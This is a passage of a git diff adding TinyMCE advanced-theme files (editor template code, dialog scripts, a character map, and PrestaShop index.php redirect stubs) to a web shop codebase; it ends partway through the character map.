v; + + t._addControls(v, tb); + toolbarGroup.add(tb); + + o.deltaHeight -= s.theme_advanced_row_height; + } + h.push(toolbarGroup.renderHTML()); + h.push(DOM.createHTML('a', {href : '#', accesskey : 'z', title : ed.getLang("advanced.toolbar_focus"), onfocus : 'tinyMCE.getInstanceById(\'' + ed.id + '\').focus();'}, '')); + DOM.setHTML(n, h.join('')); + }, + + _addStatusBar : function(tb, o) { + var n, t = this, ed = t.editor, s = t.settings, r, mf, me, td; + + n = DOM.add(tb, 'tr'); + n = td = DOM.add(n, 'td', {'class' : 'mceStatusbar'}); + n = DOM.add(n, 'div', {id : ed.id + '_path_row', 'role': 'group', 'aria-labelledby': ed.id + '_path_voice'}); + if (s.theme_advanced_path) { + DOM.add(n, 'span', {id: ed.id + '_path_voice'}, ed.translate('advanced.path')); + DOM.add(n, 'span', {}, ': '); + } else { + DOM.add(n, 'span', {}, ' '); + } + + + if (s.theme_advanced_resizing) { + DOM.add(td, 'a', {id : ed.id + '_resize', href : 'javascript:;', onclick : "return false;", 'class' : 'mceResize', tabIndex:"-1"}); + + if (s.theme_advanced_resizing_use_cookie) { + ed.onPostRender.add(function() { + var o = Cookie.getHash("TinyMCE_" + ed.id + "_size"), c = DOM.get(ed.id + '_tbl'); + + if (!o) + return; + + t.resizeTo(o.cw, o.ch); + }); + } + + ed.onPostRender.add(function() { + Event.add(ed.id + '_resize', 'click', function(e) { + e.preventDefault(); + }); + + Event.add(ed.id + '_resize', 'mousedown', function(e) { + var mouseMoveHandler1, mouseMoveHandler2, + mouseUpHandler1, mouseUpHandler2, + startX, startY, startWidth, startHeight, width, height, ifrElm; + + function resizeOnMove(e) { + e.preventDefault(); + + width = startWidth + (e.screenX - startX); + height = startHeight + (e.screenY - startY); + + t.resizeTo(width, height); + }; + + function endResize(e) { + // Stop listening + Event.remove(DOM.doc, 'mousemove', mouseMoveHandler1); + Event.remove(ed.getDoc(), 'mousemove', mouseMoveHandler2); + Event.remove(DOM.doc, 'mouseup', mouseUpHandler1); + Event.remove(ed.getDoc(), 'mouseup', mouseUpHandler2); + + width = startWidth + (e.screenX - startX); + height = startHeight + (e.screenY - startY); + t.resizeTo(width, height, true); + }; + + e.preventDefault(); + + // Get the current rect size + startX = e.screenX; + startY = e.screenY; + ifrElm = DOM.get(t.editor.id + '_ifr'); + startWidth = width = ifrElm.clientWidth; + startHeight = height = ifrElm.clientHeight; + + // Register envent handlers + mouseMoveHandler1 = Event.add(DOM.doc, 'mousemove', resizeOnMove); + mouseMoveHandler2 = Event.add(ed.getDoc(), 'mousemove', resizeOnMove); + mouseUpHandler1 = Event.add(DOM.doc, 'mouseup', endResize); + mouseUpHandler2 = Event.add(ed.getDoc(), 'mouseup', endResize); + }); + }); + } + + o.deltaHeight -= 21; + n = tb = null; + }, + + _updateUndoStatus : function(ed) { + var cm = ed.controlManager, um = ed.undoManager; + + cm.setDisabled('undo', !um.hasUndo() && !um.typing); + cm.setDisabled('redo', !um.hasRedo()); + }, + + _nodeChanged : function(ed, cm, n, co, ob) { + var t = this, p, de = 0, v, c, s = t.settings, cl, fz, fn, fc, bc, formatNames, matches; + + tinymce.each(t.stateControls, function(c) { + cm.setActive(c, ed.queryCommandState(t.controls[c][1])); + }); + + function getParent(name) { + var i, parents = ob.parents, func = name; + + if (typeof(name) == 'string') { + func = function(node) { + return node.nodeName == name; + }; + } + + for (i = 0; i < parents.length; i++) { + if (func(parents[i])) + return parents[i]; + } + }; + + cm.setActive('visualaid', ed.hasVisual); + t._updateUndoStatus(ed); + cm.setDisabled('outdent', !ed.queryCommandState('Outdent')); + + p = getParent('A'); + if (c = cm.get('link')) { + if (!p || !p.name) { + c.setDisabled(!p && co); + c.setActive(!!p); + } + } + + if (c = cm.get('unlink')) { + c.setDisabled(!p && co); + c.setActive(!!p && !p.name); + } + + if (c = cm.get('anchor')) { + c.setActive(!co && !!p && p.name); + } + + p = getParent('IMG'); + if (c = cm.get('image')) + c.setActive(!co && !!p && n.className.indexOf('mceItem') == -1); + + if (c = cm.get('styleselect')) { + t._importClasses(); + + formatNames = []; + each(c.items, function(item) { + formatNames.push(item.value); + }); + + matches = ed.formatter.matchAll(formatNames); + c.select(matches[0]); + } + + if (c = cm.get('formatselect')) { + p = getParent(DOM.isBlock); + + if (p) + c.select(p.nodeName.toLowerCase()); + } + + // Find out current fontSize, fontFamily and fontClass + getParent(function(n) { + if (n.nodeName === 'SPAN') { + if (!cl && n.className) + cl = n.className; + } + + if (ed.dom.is(n, s.theme_advanced_font_selector)) { + if (!fz && n.style.fontSize) + fz = n.style.fontSize; + + if (!fn && n.style.fontFamily) + fn = n.style.fontFamily.replace(/[\"\']+/g, '').replace(/^([^,]+).*/, '$1').toLowerCase(); + + if (!fc && n.style.color) + fc = n.style.color; + + if (!bc && n.style.backgroundColor) + bc = n.style.backgroundColor; + } + + return false; + }); + + if (c = cm.get('fontselect')) { + c.select(function(v) { + return v.replace(/^([^,]+).*/, '$1').toLowerCase() == fn; + }); + } + + // Select font size + if (c = cm.get('fontsizeselect')) { + // Use computed style + if (s.theme_advanced_runtime_fontsize && !fz && !cl) + fz = ed.dom.getStyle(n, 'fontSize', true); + + c.select(function(v) { + if (v.fontSize && v.fontSize === fz) + return true; + + if (v['class'] && v['class'] === cl) + return true; + }); + } + + if (s.theme_advanced_show_current_color) { + function updateColor(controlId, color) { + if (c = cm.get(controlId)) { + if (!color) + color = c.settings.default_color; + if (color !== c.value) { + c.displayColor(color); + } + } + } + updateColor('forecolor', fc); + updateColor('backcolor', bc); + } + + if (s.theme_advanced_show_current_color) { + function updateColor(controlId, color) { + if (c = cm.get(controlId)) { + if (!color) + color = c.settings.default_color; + if (color !== c.value) { + c.displayColor(color); + } + } + }; + + updateColor('forecolor', fc); + updateColor('backcolor', bc); + } + + if (s.theme_advanced_path && s.theme_advanced_statusbar_location) { + p = DOM.get(ed.id + '_path') || DOM.add(ed.id + '_path_row', 'span', {id : ed.id + '_path'}); + + if (t.statusKeyboardNavigation) { + t.statusKeyboardNavigation.destroy(); + t.statusKeyboardNavigation = null; + } + + DOM.setHTML(p, ''); + + getParent(function(n) { + var na = n.nodeName.toLowerCase(), u, pi, ti = ''; + + // Ignore non element and bogus/hidden elements + if (n.nodeType != 1 || na === 'br' || n.getAttribute('data-mce-bogus') || DOM.hasClass(n, 'mceItemHidden') || DOM.hasClass(n, 'mceItemRemoved')) + return; + + // Handle prefix + if (tinymce.isIE && n.scopeName !== 'HTML') + na = n.scopeName + ':' + na; + + // Remove internal prefix + na = na.replace(/mce\:/g, ''); + + // Handle node name + switch (na) { + case 'b': + na = 'strong'; + break; + + case 'i': + na = 'em'; + break; + + case 'img': + if (v = DOM.getAttrib(n, 'src')) + ti += 'src: ' + v + ' '; + + break; + + case 'a': + if (v = DOM.getAttrib(n, 'name')) { + ti += 'name: ' + v + ' '; + na += '#' + v; + } + + if (v = DOM.getAttrib(n, 'href')) + ti += 'href: ' + v + ' '; + + break; + + case 'font': + if (v = DOM.getAttrib(n, 'face')) + ti += 'font: ' + v + ' '; + + if (v = DOM.getAttrib(n, 'size')) + ti += 'size: ' + v + ' '; + + if (v = DOM.getAttrib(n, 'color')) + ti += 'color: ' + v + ' '; + + break; + + case 'span': + if (v = DOM.getAttrib(n, 'style')) + ti += 'style: ' + v + ' '; + + break; + } + + if (v = DOM.getAttrib(n, 'id')) + ti += 'id: ' + v + ' '; + + if (v = n.className) { + v = v.replace(/\b\s*(webkit|mce|Apple-)\w+\s*\b/g, '') + + if (v) { + ti += 'class: ' + v + ' '; + + if (DOM.isBlock(n) || na == 'img' || na == 'span') + na += '.' + v; + } + } + + na = na.replace(/(html:)/g, ''); + na = {name : na, node : n, title : ti}; + t.onResolveName.dispatch(t, na); + ti = na.title; + na = na.name; + + //u = "javascript:tinymce.EditorManager.get('" + ed.id + "').theme._sel('" + (de++) + "');"; + pi = DOM.create('a', {'href' : "javascript:;", role: 'button', onmousedown : "return false;", title : ti, 'class' : 'mcePath_' + (de++)}, na); + + if (p.hasChildNodes()) { + p.insertBefore(DOM.create('span', {'aria-hidden': 'true'}, '\u00a0\u00bb '), p.firstChild); + p.insertBefore(pi, p.firstChild); + } else + p.appendChild(pi); + }, ed.getBody()); + + if (DOM.select('a', p).length > 0) { + t.statusKeyboardNavigation = new tinymce.ui.KeyboardNavigation({ + root: ed.id + "_path_row", + items: DOM.select('a', p), + excludeFromTabOrder: true, + onCancel: function() { + ed.focus(); + } + }, DOM); + } + } + }, + + // Commands gets called by execCommand + + _sel : function(v) { + this.editor.execCommand('mceSelectNodeDepth', false, v); + }, + + _mceInsertAnchor : function(ui, v) { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/anchor.htm', + width : 320 + parseInt(ed.getLang('advanced.anchor_delta_width', 0)), + height : 90 + parseInt(ed.getLang('advanced.anchor_delta_height', 0)), + inline : true + }, { + theme_url : this.url + }); + }, + + _mceCharMap : function() { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/charmap.htm', + width : 550 + parseInt(ed.getLang('advanced.charmap_delta_width', 0)), + height : 265 + parseInt(ed.getLang('advanced.charmap_delta_height', 0)), + inline : true + }, { + theme_url : this.url + }); + }, + + _mceHelp : function() { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/about.htm', + width : 480, + height : 380, + inline : true + }, { + theme_url : this.url + }); + }, + + _mceShortcuts : function() { + var ed = this.editor; + ed.windowManager.open({ + url: this.url + '/shortcuts.htm', + width: 480, + height: 380, + inline: true + }, { + theme_url: this.url + }); + }, + + _mceColorPicker : function(u, v) { + var ed = this.editor; + + v = v || {}; + + ed.windowManager.open({ + url : this.url + '/color_picker.htm', + width : 375 + parseInt(ed.getLang('advanced.colorpicker_delta_width', 0)), + height : 250 + parseInt(ed.getLang('advanced.colorpicker_delta_height', 0)), + close_previous : false, + inline : true + }, { + input_color : v.color, + func : v.func, + theme_url : this.url + }); + }, + + _mceCodeEditor : function(ui, val) { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/source_editor.htm', + width : parseInt(ed.getParam("theme_advanced_source_editor_width", 720)), + height : parseInt(ed.getParam("theme_advanced_source_editor_height", 580)), + inline : true, + resizable : true, + maximizable : true + }, { + theme_url : this.url + }); + }, + + _mceImage : function(ui, val) { + var ed = this.editor; + + // Internal image object like a flash placeholder + if (ed.dom.getAttrib(ed.selection.getNode(), 'class').indexOf('mceItem') != -1) + return; + + ed.windowManager.open({ + url : this.url + '/image.htm', + width : 355 + parseInt(ed.getLang('advanced.image_delta_width', 0)), + height : 275 + parseInt(ed.getLang('advanced.image_delta_height', 0)), + inline : true + }, { + theme_url : this.url + }); + }, + + _mceLink : function(ui, val) { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/link.htm', + width : 310 + parseInt(ed.getLang('advanced.link_delta_width', 0)), + height : 200 + parseInt(ed.getLang('advanced.link_delta_height', 0)), + inline : true + }, { + theme_url : this.url + }); + }, + + _mceNewDocument : function() { + var ed = this.editor; + + ed.windowManager.confirm('advanced.newdocument', function(s) { + if (s) + ed.execCommand('mceSetContent', false, ''); + }); + }, + + _mceForeColor : function() { + var t = this; + + this._mceColorPicker(0, { + color: t.fgColor, + func : function(co) { + t.fgColor = co; + t.editor.execCommand('ForeColor', false, co); + } + }); + }, + + _mceBackColor : function() { + var t = this; + + this._mceColorPicker(0, { + color: t.bgColor, + func : function(co) { + t.bgColor = co; + t.editor.execCommand('HiliteColor', false, co); + } + }); + }, + + _ufirst : function(s) { + return s.substring(0, 1).toUpperCase() + s.substring(1); + } + }); + + tinymce.ThemeManager.add('advanced', tinymce.themes.AdvancedTheme); +}(tinymce)); diff --git a/js/tiny_mce/themes/advanced/image.htm b/js/tiny_mce/themes/advanced/image.htm new file mode 100755 index 0000000..884890f --- /dev/null +++ b/js/tiny_mce/themes/advanced/image.htm @@ -0,0 +1,80 @@ + + + + {#advanced_dlg.image_title} + + + + + + +
    + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
     
    + x +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/themes/advanced/img/colorpicker.jpg b/js/tiny_mce/themes/advanced/img/colorpicker.jpg new file mode 100755 index 0000000..b1a377a Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/colorpicker.jpg differ diff --git a/js/tiny_mce/themes/advanced/img/flash.gif b/js/tiny_mce/themes/advanced/img/flash.gif new file mode 100755 index 0000000..dec3f7c Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/flash.gif differ diff --git a/js/tiny_mce/themes/advanced/img/icons.gif b/js/tiny_mce/themes/advanced/img/icons.gif new file mode 100755 index 0000000..641a9e3 Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/icons.gif differ diff --git a/js/tiny_mce/themes/advanced/img/iframe.gif b/js/tiny_mce/themes/advanced/img/iframe.gif new file mode 100755 index 0000000..410c7ad Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/iframe.gif differ diff --git a/js/tiny_mce/themes/advanced/img/index.php b/js/tiny_mce/themes/advanced/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/img/pagebreak.gif b/js/tiny_mce/themes/advanced/img/pagebreak.gif new file mode 100755 index 0000000..acdf408 Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/pagebreak.gif differ diff --git a/js/tiny_mce/themes/advanced/img/quicktime.gif b/js/tiny_mce/themes/advanced/img/quicktime.gif new file mode 100755 index 0000000..8f10e7a Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/quicktime.gif differ diff --git a/js/tiny_mce/themes/advanced/img/realmedia.gif b/js/tiny_mce/themes/advanced/img/realmedia.gif new file mode 100755 index 0000000..fdfe0b9 Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/realmedia.gif differ diff --git a/js/tiny_mce/themes/advanced/img/shockwave.gif b/js/tiny_mce/themes/advanced/img/shockwave.gif new file mode 100755 index 0000000..9314d04 Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/shockwave.gif differ diff --git a/js/tiny_mce/themes/advanced/img/trans.gif b/js/tiny_mce/themes/advanced/img/trans.gif new file mode 100755 index 0000000..3884865 Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/trans.gif differ diff --git a/js/tiny_mce/themes/advanced/img/video.gif b/js/tiny_mce/themes/advanced/img/video.gif new file mode 100755 index 0000000..3570104 Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/video.gif differ diff --git a/js/tiny_mce/themes/advanced/img/windowsmedia.gif b/js/tiny_mce/themes/advanced/img/windowsmedia.gif new file mode 100755 index 0000000..ab50f2d Binary files /dev/null and b/js/tiny_mce/themes/advanced/img/windowsmedia.gif differ diff --git a/js/tiny_mce/themes/advanced/index.php b/js/tiny_mce/themes/advanced/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/js/about.js b/js/tiny_mce/themes/advanced/js/about.js new file mode 100755 index 0000000..daf4909 --- /dev/null +++ b/js/tiny_mce/themes/advanced/js/about.js @@ -0,0 +1,73 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + var ed, tcont; + + tinyMCEPopup.resizeToInnerSize(); + ed = tinyMCEPopup.editor; + + // Give FF some time + window.setTimeout(insertHelpIFrame, 10); + + tcont = document.getElementById('plugintablecontainer'); + document.getElementById('plugins_tab').style.display = 'none'; + + var html = ""; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + + tinymce.each(ed.plugins, function(p, n) { + var info; + + if (!p.getInfo) + return; + + html += ''; + + info = p.getInfo(); + + if (info.infourl != null && info.infourl != '') + html += ''; + else + html += ''; + + if (info.authorurl != null && info.authorurl != '') + html += ''; + else + html += ''; + + html += ''; + html += ''; + + document.getElementById('plugins_tab').style.display = ''; + + }); + + html += ''; + html += '
    ' + ed.getLang('advanced_dlg.about_plugin') + '' + ed.getLang('advanced_dlg.about_author') + '' + ed.getLang('advanced_dlg.about_version') + '
    ' + info.longname + '' + info.longname + '' + info.author + '' + info.author + '' + info.version + '
    '; + + tcont.innerHTML = html; + + tinyMCEPopup.dom.get('version').innerHTML = tinymce.majorVersion + "." + tinymce.minorVersion; + tinyMCEPopup.dom.get('date').innerHTML = tinymce.releaseDate; +} + +function insertHelpIFrame() { + var html; + + if (tinyMCEPopup.getParam('docs_url')) { + html = ''; + document.getElementById('iframecontainer').innerHTML = html; + document.getElementById('help_tab').style.display = 'block'; + document.getElementById('help_tab').setAttribute("aria-hidden", "false"); + } +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/themes/advanced/js/anchor.js b/js/tiny_mce/themes/advanced/js/anchor.js new file mode 100755 index 0000000..b6c5b69 --- /dev/null +++ b/js/tiny_mce/themes/advanced/js/anchor.js @@ -0,0 +1,43 @@ +tinyMCEPopup.requireLangPack(); + +var AnchorDialog = { + init : function(ed) { + var action, elm, f = document.forms[0]; + + this.editor = ed; + elm = ed.dom.getParent(ed.selection.getNode(), 'A'); + v = ed.dom.getAttrib(elm, 'name'); + + if (v) { + this.action = 'update'; + f.anchorName.value = v; + } + + f.insert.value = ed.getLang(elm ? 'update' : 'insert'); + }, + + update : function() { + var ed = this.editor, elm, name = document.forms[0].anchorName.value; + + if (!name || !/^[a-z][a-z0-9\-\_:\.]*$/i.test(name)) { + tinyMCEPopup.alert('advanced_dlg.anchor_invalid'); + return; + } + + tinyMCEPopup.restoreSelection(); + + if (this.action != 'update') + ed.selection.collapse(1); + + elm = ed.dom.getParent(ed.selection.getNode(), 'A'); + if (elm) { + elm.setAttribute('name', name); + elm.name = name; + } else + ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('a', {name : name, 'class' : 'mceItemAnchor'}, '')); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(AnchorDialog.init, AnchorDialog); diff --git a/js/tiny_mce/themes/advanced/js/charmap.js b/js/tiny_mce/themes/advanced/js/charmap.js new file mode 100755 index 0000000..cbb4172 --- /dev/null +++ b/js/tiny_mce/themes/advanced/js/charmap.js @@ -0,0 +1,363 @@ +/** + * charmap.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +tinyMCEPopup.requireLangPack(); + +var charmap = [ + [' ', ' ', true, 'no-break space'], + ['&', '&', true, 'ampersand'], + ['"', '"', true, 'quotation mark'], +// finance + ['¢', '¢', true, 'cent sign'], + ['€', '€', true, 'euro sign'], + ['£', '£', true, 'pound sign'], + ['¥', '¥', true, 'yen sign'], +// signs + ['©', '©', true, 'copyright sign'], + ['®', '®', true, 'registered sign'], + ['™', '™', true, 'trade mark sign'], + ['‰', '‰', true, 'per mille sign'], + ['µ', 'µ', true, 'micro sign'], + ['·', '·', true, 'middle dot'], + ['•', '•', true, 'bullet'], + ['…', '…', true, 'three dot leader'], + ['′', '′', true, 'minutes / feet'], + ['″', '″', true, 'seconds / inches'], + ['§', '§', true, 'section sign'], + ['¶', '¶', true, 'paragraph sign'], + ['ß', 'ß', true, 'sharp s / ess-zed'], +// quotations + ['‹', '‹', true, 'single left-pointing angle quotation mark'], + ['›', '›', true, 'single right-pointing angle quotation mark'], + ['«', '«', true, 'left pointing guillemet'], + ['»', '»', true, 'right pointing guillemet'], + ['‘', '‘', true, 'left single quotation mark'], + ['’', '’', true, 'right single quotation mark'], + ['“', '“', true, 'left double quotation mark'], + ['”', '”', true, 'right double quotation mark'], + ['‚', '‚', true, 'single low-9 quotation mark'], + ['„', '„', true, 'double low-9 quotation mark'], + ['<', '<', true, 'less-than sign'], + ['>', '>', true, 'greater-than sign'], + ['≤', '≤', true, 'less-than or equal to'], + ['≥', '≥', true, 'greater-than or equal to'], + ['–', '–', true, 'en dash'], + ['—', '—', true, 'em dash'], + ['¯', '¯', true, 'macron'], + ['‾', '‾', true, 'overline'], + ['¤', '¤', true, 'currency sign'], + ['¦', '¦', true, 'broken bar'], + ['¨', '¨', true, 'diaeresis'], + ['¡', '¡', true, 'inverted exclamation mark'], + ['¿', '¿', true, 'turned question mark'], + ['ˆ', 'ˆ', true, 'circumflex accent'], + ['˜', '˜', true, 'small tilde'], + ['°', '°', true, 'degree sign'], + ['−', '−', true, 'minus sign'], + ['±', '±', true, 'plus-minus sign'], + ['÷', '÷', true, 'division sign'], + ['⁄', '⁄', true, 'fraction slash'], + ['×', '×', true, 'multiplication sign'], + ['¹', '¹', true, 'superscript one'], + ['²', '²', true, 'superscript two'], + ['³', '³', true, 'superscript three'], + ['¼', '¼', true, 'fraction one quarter'], + ['½', '½', true, 'fraction one half'], + ['¾', '¾', true, 'fraction three quarters'], +// math / logical + ['ƒ', 'ƒ', true, 'function / florin'], + ['∫', '∫', true, 'integral'], + ['∑', '∑', true, 'n-ary sumation'], + ['∞', '∞', true, 'infinity'], + ['√', '√', true, 'square root'], + ['∼', '∼', false,'similar to'], + ['≅', '≅', false,'approximately equal to'], + ['≈', '≈', true, 'almost equal to'], + ['≠', '≠', true, 'not equal to'], + ['≡', '≡', true, 'identical to'], + ['∈', '∈', false,'element of'], + ['∉', '∉', false,'not an element of'], + ['∋', '∋', false,'contains as member'], + ['∏', '∏', true, 'n-ary product'], + ['∧', '∧', false,'logical and'], + ['∨', '∨', false,'logical or'], + ['¬', '¬', true, 'not sign'], + ['∩', '∩', true, 'intersection'], + ['∪', '∪', false,'union'], + ['∂', '∂', true, 'partial differential'], + ['∀', '∀', false,'for all'], + ['∃', '∃', false,'there exists'], + ['∅', '∅', false,'diameter'], + ['∇', '∇', false,'backward difference'], + ['∗', '∗', false,'asterisk operator'], + ['∝', '∝', false,'proportional to'], + ['∠', '∠', false,'angle'], +// undefined + ['´', '´', true, 'acute accent'], + ['¸', '¸', true, 'cedilla'], + ['ª', 'ª', true, 'feminine ordinal indicator'], + ['º', 'º', true, 'masculine ordinal indicator'], + ['†', '†', true, 'dagger'], + ['‡', '‡', true, 'double dagger'], +// alphabetical special chars + ['À', 'À', true, 'A - grave'], + ['Á', 'Á', true, 'A - acute'], + ['Â', 'Â', true, 'A - circumflex'], + ['Ã', 'Ã', true, 'A - tilde'], + ['Ä', 'Ä', true, 'A - diaeresis'], + ['Å', 'Å', true, 'A - ring above'], + ['Æ', 'Æ', true, 'ligature AE'], + ['Ç', 'Ç', true, 'C - cedilla'], + ['È', 'È', true, 'E - grave'], + ['É', 'É', true, 'E - acute'], + ['Ê', 'Ê', true, 'E - circumflex'], + ['Ë', 'Ë', true, 'E - diaeresis'], + ['Ì', 'Ì', true, 'I - grave'], + ['Í', 'Í', true, 'I - acute'], + ['Î', 'Î', true, 'I - circumflex'], + ['Ï', 'Ï', true, 'I - diaeresis'], + ['Ð', 'Ð', true, 'ETH'], + ['Ñ', 'Ñ', true, 'N - tilde'], + ['Ò', 'Ò', true, 'O - grave'], + ['Ó', 'Ó', true, 'O - acute'], + ['Ô', 'Ô', true, 'O - circumflex'], + ['Õ', 'Õ', true, 'O - tilde'], + ['Ö', 'Ö', true, 'O - diaeresis'], + ['Ø', 'Ø', true, 'O - slash'], + ['Œ', 'Œ', true, 'ligature OE'], + ['Š', 'Š', true, 'S - caron'], + ['Ù', 'Ù', true, 'U - grave'], + ['Ú', 'Ú', true, 'U - acute'], + ['Û', 'Û', true, 'U - circumflex'], + ['Ü', 'Ü', true, 'U - diaeresis'], + ['Ý', 'Ý', true, 'Y - acute'], + ['Ÿ', 'Ÿ', true, 'Y - diaeresis'], + ['Þ', 'Þ', true, 'THORN'], + ['à', 'à', true, 'a - grave'], + ['á', 'á', true, 'a - acute'], + ['â', 'â', true, 'a - circumflex'], + ['ã', 'ã', true, 'a - tilde'], + ['ä', 'ä', true, 'a - diaeresis'], + ['å', 'å', true, 'a - ring above'], + ['æ', 'æ', true, 'ligature ae'], + ['ç', 'ç', true, 'c - cedilla'], + ['è', 'è', true, 'e - grave'], + ['é', 'é', true, 'e - acute'], + ['ê', 'ê', true, 'e - circumflex'], + ['ë', 'ë', true, 'e - diaeresis'], + ['ì', 'ì', true, 'i - grave'], + ['í', 'í', true, 'i - acute'], + ['î', 'î', true, 'i - circumflex'], + ['ï', 'ï', true, 'i - diaeresis'], + ['ð', 'ð', true, 'eth'], + ['ñ', 'ñ', true, 'n - tilde'], + ['ò', 'ò', true, 'o - grave'], + ['ó', 'ó', true, 'o - acute'], + ['ô', 'ô', true, 'o - circumflex'], + ['õ', 'õ', true, 'o - tilde'], + ['ö', 'ö', true, 'o - diaeresis'], + ['ø', 'ø', true, 'o slash'], + ['œ', 'œ', true, 'ligature oe'], + ['š', 'š', true, 's - caron'], + ['ù', 'ù', true, 'u - grave'], + ['ú', 'ú', true, 'u - acute'], + ['û', 'û', true, 'u - circumflex'], + ['ü', 'ü', true, 'u - diaeresis'], + ['ý', 'ý', true, 'y - acute'], + ['þ', 'þ', true, 'thorn'], + ['ÿ', 'ÿ', true, 'y - diaeresis'], + ['Α', 'Α', true, 'Alpha'], + ['Β', 'Β', true, 'Beta'], + ['Γ', 'Γ', true, 'Gamma'], + ['Δ', 'Δ', true, 'Delta'], + ['Ε', 'Ε', true, 'Epsilon'], + ['Ζ', 'Ζ', true, 'Zeta'], + ['Η', 'Η', true, 'Eta'], + ['Θ', 'Θ', true, 'Theta'], + ['Ι', 'Ι', true, 'Iota'], + ['Κ', 'Κ', true, 'Kappa'], + ['Λ', 'Λ', true, 'Lambda'], + ['Μ', 'Μ', true, 'Mu'], + ['Ν', 'Ν', true, 'Nu'], + ['Ξ', 'Ξ', true, 'Xi'], + ['Ο', 'Ο', true, 'Omicron'], + ['Π', 'Π', true, 'Pi'], + ['Ρ', 'Ρ', true, 'Rho'], + ['Σ', 'Σ', true, 'Sigma'], + ['Τ', 'Τ', true, 'Tau'], + ['Υ', 'Υ', true, 'Upsilon'], + ['Φ', 'Φ', true, 'Phi'], + ['Χ', 'Χ', true, 'Chi'], + ['Ψ', 'Ψ', true, 'Psi'], + ['Ω', 'Ω', true, 'Omega'], + ['α', 'α', true, 'alpha'], + ['β', 'β', true, 'beta'], + ['γ', 'γ', true, 'gamma'], + ['δ', 'δ', true, 'delta'], + ['ε', 'ε', true, 'epsilon'], + ['ζ', 'ζ', true, 'zeta'], + ['η', 'η', true, 'eta'], + ['θ', 'θ', true, 'theta'], + ['ι', 'ι', true, 'iota'], + ['κ', 'κ', true, 'kappa'], + ['λ', 'λ', true, 'lambda'], + ['μ', 'μ', true, 'mu'], + ['ν', 'ν', true, 'nu'], + ['ξ', 'ξ', true, 'xi'], + ['ο', 'ο', true, 'omicron'], + ['π', 'π', true, 'pi'], + ['ρ', 'ρ', true, 'rho'], + ['ς', 'ς', true, 'final sigma'], + ['σ', 'σ', true, 'sigma'], + ['τ', 'τ', true, 'tau'], + ['υ', 'υ', true, 'upsilon'], + ['φ', 'φ', true, 'phi'], + ['χ', 'χ', true, 'chi'], + ['ψ', 'ψ', true, 'psi'], + ['ω', 'ω', true, 'omega'], +// symbols + ['ℵ', 'ℵ', false,'alef symbol'], + ['ϖ', 'ϖ', false,'pi symbol'], + ['ℜ', 'ℜ', false,'real part symbol'], + ['ϑ','ϑ', false,'theta symbol'], + ['ϒ', 'ϒ', false,'upsilon - hook symbol'], + ['℘', '℘', false,'Weierstrass p'], + ['ℑ', 'ℑ', false,'imaginary part'], +// arrows + ['←', '←', true, 'leftwards arrow'], + ['↑', '↑', true, 'upwards arrow'], + ['→', '→', true, 'rightwards arrow'], + ['↓', '↓', true, 'downwards arrow'], + ['↔', '↔', true, 'left right arrow'], + ['↵', '↵', false,'carriage return'], + ['⇐', '⇐', false,'leftwards double arrow'], + ['⇑', '⇑', false,'upwards double arrow'], + ['⇒', '⇒', false,'rightwards double arrow'], + ['⇓', '⇓', false,'downwards double arrow'], + ['⇔', '⇔', false,'left right double arrow'], + ['∴', '∴', false,'therefore'], + ['⊂', '⊂', false,'subset of'], + ['⊃', '⊃', false,'superset of'], + ['⊄', '⊄', false,'not a subset of'], + ['⊆', '⊆', false,'subset of or equal to'], + ['⊇', '⊇', false,'superset of or equal to'], + ['⊕', '⊕', false,'circled plus'], + ['⊗', '⊗', false,'circled times'], + ['⊥', '⊥', false,'perpendicular'], + ['⋅', '⋅', false,'dot operator'], + ['⌈', '⌈', false,'left ceiling'], + ['⌉', '⌉', false,'right ceiling'], + ['⌊', '⌊', false,'left floor'], + ['⌋', '⌋', false,'right floor'], + ['⟨', '〈', false,'left-pointing angle bracket'], + ['⟩', '〉', 